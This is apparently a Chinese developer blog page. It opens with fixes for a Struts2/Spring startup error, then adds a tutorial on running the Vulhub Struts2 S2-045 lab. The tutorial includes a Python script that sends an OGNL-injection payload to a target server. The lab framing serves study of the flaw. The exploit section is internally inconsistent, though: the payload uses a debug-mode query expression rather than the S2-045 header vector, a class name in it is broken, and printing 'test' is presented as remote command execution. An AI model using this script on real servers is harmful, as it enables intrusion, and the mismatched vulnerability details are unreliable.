启动服务器时出现异常:com/opensymphony/xwork2/spring/SpringObjectFactory.java:209:-1 :

本文介绍了在使用Struts2框架时遇到的问题及解决方案,主要包括:去掉未使用的依赖包、正确配置Spring监听器以及确保引入了applicationContext.xml配置文件。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

原因三个:
1.lib中多导入包的大原因:去掉struts2-spring-plugin-2.1.8包即可,因为没有用到spring。
2.还有的原因是用spring了,却没加监听器,在web.xml里面加上

 <context-param>
  <param-name>contextConfigLocation</param-name>
  <param-value>classpath:applicationContext*.xml</param-value>
 </context-param>
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>

3就是没有引入applicationContext.xml,解决方法是:在src目录下加上applicationContext.xml配置文件即可

### Vulhub 中 Struts2 S2-045 漏洞环境配置与使用 #### 环境概述 Vulhub 是一个基于 Docker 的漏洞学习平台,提供了多种常见 Web 应用程序的安全漏洞实验环境。其中,Struts2 S2-045 远程代码执行漏洞是一个典型的案例[^1]。该漏洞允许攻击者通过 OGNL 表达式注入的方式,在目标服务器上执行任意命令。 --- #### 配置步骤 ##### 1. 安装依赖工具 为了运行 Vulhub 提供的漏洞环境,需要安装 Docker 和 Docker Compose 工具。Docker 负责容器化管理,而 Docker Compose 则用于编排多个服务之间的交互关系[^3]。 ```bash sudo apt update && sudo apt install docker.io docker-compose -y ``` ##### 2. 下载并启动漏洞环境 进入 Vulhub 的本地克隆目录或直接拉取官方仓库中的 `struts2` 文件夹下的 S2-045 实验脚本: ```bash git clone https://github.com/vulhub/vulhub.git cd vulhub/struts2/s2-045/ docker-compose up -d ``` 上述命令会在后台启动两个容器:一个是 Apache Tomcat 作为 Web 服务器承载 Struts2 应用;另一个是 MySQL 数据库模拟业务场景需求[^2]。 ##### 3. 访问测试页面 等待几秒钟后,可以通过浏览器访问默认地址 http://localhost:8080/struts2-showcase/index.action 来验证部署成功与否。如果看到 Struts2 展示界面,则说明环境已正常工作。 --- #### 使用指南 ##### 1. 构造恶意请求 利用此漏洞的关键在于构造合法形式却嵌入危险逻辑的 HTTP 请求参数。例如下面这段 Python 脚本展示了如何发送带有 RCE (Remote Code Execution) 攻击向量的数据包[^4]: ```python import requests url = "http://<target-ip>:8080/struts2-showcase/example/HelloWorld.action" payload = "?debug=command&expression=%23req%3d%23context.get(%27co%27%2b%27m.open symphony.xwork2.dispatcher.HttpServletRequest%27)%2c%23resp%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27)%2c%23resp.setCharacterEncoding(%27UTF-8%27)%2c%23resp.getWriter().print(%22test%22)%2c%23resp.getWriter().flush()%2c%23resp.getWriter().close()" headers = {"Content-Type": "application/x-www-form-urlencoded"} response = requests.post(url + payload, headers=headers) if response.status_code == 200 and 'test' in response.text: print("[+] Payload executed successfully!") else: print("[-] Failed to execute payload.") ``` > **注意**: 上述代码仅限于教育目的的研究用途,请勿非法尝试任何未经授权的目标站点! ##### 2. 查看结果反馈 当正确触发漏洞,应该可以在响应体中观察到预期输出字符串 `"test"` ,证明远程命令已被成功执行。 --- #### 注意事项 尽管研究漏洞有助于提升网络安全意识和技术水平,但在实际操作过程中务必遵循法律法规以及道德准则。未经许可擅自扫描他人网络资产可能触犯刑法相关规定。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值